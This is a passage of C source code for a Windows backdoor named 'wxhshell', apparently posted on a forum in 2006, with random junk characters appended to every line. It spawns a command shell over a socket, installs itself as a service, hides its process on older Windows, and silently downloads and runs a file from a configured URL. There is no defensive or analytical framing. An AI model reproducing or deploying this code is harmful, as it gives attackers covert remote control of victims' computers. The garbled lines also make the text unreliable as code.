  // 安装 9Q-*@6G  
  case 'i': { (N=5 .7"T  
    if(Install()) { e5/+W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B8%{}[q  
    else GMZv RAu i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j"@93D~  
    break; gzD@cx?V  
    } 0 Ir<y  
  // 卸载 Gkxj?)`  
  case 'r': { ;6{@^  
    if(Uninstall()) dVo.Czyd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ $T(WGF  
    else 4T<Lgb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )){9&5,0:  
    break; 3y~r72J  
    } t 6^l`6:p  
  // 显示 wxhshell 所在路径 [j:[  
  case 'p': { F0UVo  
    char svExeFile[MAX_PATH]; 13&0rLS  
    strcpy(svExeFile,"\n\r"); ]UG*r%9  
      strcat(svExeFile,ExeFile);  g}U3y'  
        send(wsh,svExeFile,strlen(svExeFile),0); la?Wnw  
    break; t/PlcV_M"  
    } TbF4/T1b  
  // 重启 |xvy')(b  
  case 'b': { 0% #<c p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <ExZ:ip  
    if(Boot(REBOOT)) JQ-gn^tsy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1G'`2ATF*  
    else { y tf b$;|  
    closesocket(wsh); D'hW|  
    ExitThread(0); N#_GJSG_|  
    } V)i5=bHC  
    break; O8W7<Wc |z  
    } 7 +@qB]Bi<  
  // 关机 2',w[I  
  case 'd': { K[7EOXLy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e<#DdpX!H~  
    if(Boot(SHUTDOWN)) I;?X f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wB{;bB{  
    else { /Y2/!mU</  
    closesocket(wsh); F[!ckes<bB  
    ExitThread(0); 3u\;j; Td!  
    } iIGbHn,/  
    break; c$QX )V  
    } Vax^8 -  
  // 获取shell ZB[Qs   
  case 's': { q0bHB_|wL  
    CmdShell(wsh); ?`Y\)'}   
    closesocket(wsh); <x),,a=X  
    ExitThread(0); 7 #=}:3c  
    break; A=-F,=k(!/  
  } gxGrspqg  
  // 退出 kz S=g|_  
  case 'x': { leiW4Fj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N9rBW   
    CloseIt(wsh); M8b4NF_&  
    break; @v*/R%rv t  
    } 5Fm=/o1  
  // 离开 |uH%6&\  
  case 'q': { m3g2b _;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `ZaT}# Y  
    closesocket(wsh); M#@aB"@J>  
    WSACleanup();  l"zUv  
    exit(1); /)rkiwp  
    break; WWZ9._  
        } 1]T`n/d V  
  } 2 qO3XI  
  } {3Vk p5%l  
Jj^GWZRu  
  // 提示信息 w_iamqe,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CC3v%^81l^  
} l#wdpD a{  
  } X+n`qiwq  
*}):<nB$^  
  return; TjBY 4  
} $,hwU3RVxc  
Zzl,gy70  
// shell模块句柄 -)y%~Zn  
int CmdShell(SOCKET sock) ib0g3p-Lc  
{ 'iLH `WE  
STARTUPINFO si; {hO`6mr&t  
ZeroMemory(&si,sizeof(si)); t=#Pya  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @l UlY2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3v!~cC~cI  
PROCESS_INFORMATION ProcessInfo; (,xZGa  
char cmdline[]="cmd"; mty1p'^KQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v1.q$ f^(  
  return 0; Us~ X9n_F  
} ^aRgMuU  
~ekh1^evu  
// 自身启动模式 vY*\R0/a  
int StartFromService(void) 8S;CFyT\n  
{ ]^\8U2q}  
typedef struct br,+45:  
{ 7e&\{*  
  DWORD ExitStatus; m$$?icA  
  DWORD PebBaseAddress; h.whjiCFa  
  DWORD AffinityMask; *xM/ ;)  
  DWORD BasePriority; zG c[Z3N  
  ULONG UniqueProcessId; ?&l)W~S  
  ULONG InheritedFromUniqueProcessId; 7nHTlI1 b  
}   PROCESS_BASIC_INFORMATION; )-/gLZsx  
cub <G!K  
PROCNTQSIP NtQueryInformationProcess; ^`qPs/b  
em]xtya  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i3 )xX@3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v&MU=Tcqi  
r5/R5Ga^  
  HANDLE             hProcess; c~dM`2J,  
  PROCESS_BASIC_INFORMATION pbi; tO.$+4a  
swpnuuC-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "L2m-e6  
  if(NULL == hInst ) return 0; ;' e@t8i6  
} IlP:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]5v:5:H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #cwCocw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nl8 gK{  
q?~Rnv  
  if (!NtQueryInformationProcess) return 0; ZcryAm:I  
$~'Tf>e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Cci:Lin  
  if(!hProcess) return 0; f8:$G.}i  
p`+VrcCBOd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uiBTnG"  
I*1S/o_xI  
  CloseHandle(hProcess); Eo{EKI1  
o+g4p:Mf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wy4q[$.4v  
if(hProcess==NULL) return 0; &(&  
'0+$ m=   
HMODULE hMod; \-. Tg!Q6  
char procName[255]; J^I7BsZ  
unsigned long cbNeeded; amB@N6*  
\}inT_{g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y~"9L|`f/  
:J(sXKr[C  
  CloseHandle(hProcess); @PcCiGZ  
nJVp.*S  
if(strstr(procName,"services")) return 1; // 以服务启动 {(vOt'  
zd`=Ih2Wx  
  return 0; // 注册表启动 Gz dgL"M[  
} .T3=Eq&"W  
SQKt}kDbM  
// 主模块 =2oUZjA  
int StartWxhshell(LPSTR lpCmdLine) D&[Z;,CHMA  
{ [{PqV):p  
  SOCKET wsl; E5B8 Z?$a  
BOOL val=TRUE; 4=p@2g2"H  
  int port=0; }#b %"I0  
  struct sockaddr_in door; b4~H3|  
H,>#|F  
  if(wscfg.ws_autoins) Install(); ;1LG&h,K  
KP~-$NR  
port=atoi(lpCmdLine); !.+"4TF  
J`Oy.Qu)  
if(port<=0) port=wscfg.ws_port; =FBIrw{w  
6f}e+80  
  WSADATA data; |R'i:=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1-$P0  
Tj,2r]g`<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v'nHFC+p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); if@W ]%  
  door.sin_family = AF_INET; Jqg3.2q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aW@oE ~`  
  door.sin_port = htons(port); PqhlXqX9  
A ^B@VuK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s-Y+x  
closesocket(wsl); A! ;meVUs  
return 1; j+1KNH  
} YkbO&~.  
L<@&nx   
  if(listen(wsl,2) == INVALID_SOCKET) { $'$>UFR  
closesocket(wsl); R|t;p!T  
return 1; #,P(isEZ"  
} $GF&x>]]  
  Wxhshell(wsl); HIPL!ss]  
  WSACleanup(); kGD|c=K}  
mG}k 3e-  
return 0; KF$%q((  
R]=SWE}U  
} j_pw^I$C  
&HxT41pku  
// 以NT服务方式启动 ^I./L)0= }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X RRJ)}P  
{ \G=bj;&eF  
DWORD   status = 0; \DyKtrnm%  
  DWORD   specificError = 0xfffffff; gDhl-  
ype"7p\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y:%"K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i;HH ! TaN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t~~r-V":  
  serviceStatus.dwWin32ExitCode     = 0; kGj]i@(PA4  
  serviceStatus.dwServiceSpecificExitCode = 0; 8OBF^r44R  
  serviceStatus.dwCheckPoint       = 0; Spc&X72I  
  serviceStatus.dwWaitHint       = 0; W]~ZkQ|P  
c'lIWuL)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B'/Icg.T  
  if (hServiceStatusHandle==0) return; X)NWX9^;'  
$9m5bQcV  
status = GetLastError(); U$EM.ot  
  if (status!=NO_ERROR) <tQXK;  
{ n +d J c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z9fNk%  
    serviceStatus.dwCheckPoint       = 0; %o-jwr}O{  
    serviceStatus.dwWaitHint       = 0; T`mEO\f  
    serviceStatus.dwWin32ExitCode     = status; WFpl1O73  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6)+9G_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q @*UUj@   
    return; eHROBxH&  
  } < [ w++F~  
`^f}$R|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1G_xP^H!  
  serviceStatus.dwCheckPoint       = 0; > ";%2 u1  
  serviceStatus.dwWaitHint       = 0; "DzG Bu\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YRu%j4Tx  
} ^~*8 @v""  
FP@ A;/c  
// 处理NT服务事件,比如:启动、停止 @d P~X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wb'*lT0=  
{ >2t cEz%  
switch(fdwControl) DlS&qFs  
{ k2wBy'M .'  
case SERVICE_CONTROL_STOP: Z#@6#S`  
  serviceStatus.dwWin32ExitCode = 0; 5#BF,-Jv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \)s3b/oap  
  serviceStatus.dwCheckPoint   = 0; 9OhR4 1B  
  serviceStatus.dwWaitHint     = 0; yx 7loy$[  
  { ;HT0w_,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >T(M0Tkt  
  } !~tnt i6  
  return; wz)m{:b<  
case SERVICE_CONTROL_PAUSE: =yo=q)W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HWOek"}Z[  
  break; kEx8+2s=M  
case SERVICE_CONTROL_CONTINUE: 0vcET(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i~ROQMN1  
  break; taBO4LV  
case SERVICE_CONTROL_INTERROGATE: lWIv(%/@  
  break; j@_nI~7f}  
}; r8<JX5zyuo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Wr\D Vp  
} Vz k cZK  
#[C< J#;  
// 标准应用程序主函数 =sL(^UISl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6O%=G3I  
{ I S.F  
4'_L W?DS  
// 获取操作系统版本 wiKCr/  
OsIsNt=GetOsVer(); .M}06,-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _82<| NN:  
D@2Ya/c  
  // 从命令行安装 M44_us  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?TRW"%  
E]1\iV  
  // 下载执行文件 57'q;I  
if(wscfg.ws_downexe) { :Q8g?TZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ml8E50t>;  
  WinExec(wscfg.ws_filenam,SW_HIDE); F: f2s:<  
} ;;D% l^m+  
|c]> Q  
if(!OsIsNt) { +|)zwe  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z<w,UvJa  
HideProc(); T27:"LVw  
StartWxhshell(lpCmdLine); 'o7R/`4KR  
} `9]P/J^  
else 1g+LF[*-~  
  if(StartFromService()) (tgEa{rPAP  
  // 以服务方式启动 g2!0vB>  
  StartServiceCtrlDispatcher(DispatchTable); u_h=nk  
else e1:u1(".  
  // 普通方式启动 a"MTQFm'  
  StartWxhshell(lpCmdLine); _QD/!~O  
cF-Jc}h  
return 0; U<1}I.hDJ  
}
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只看该作者 1 发表于: 2006-10-10
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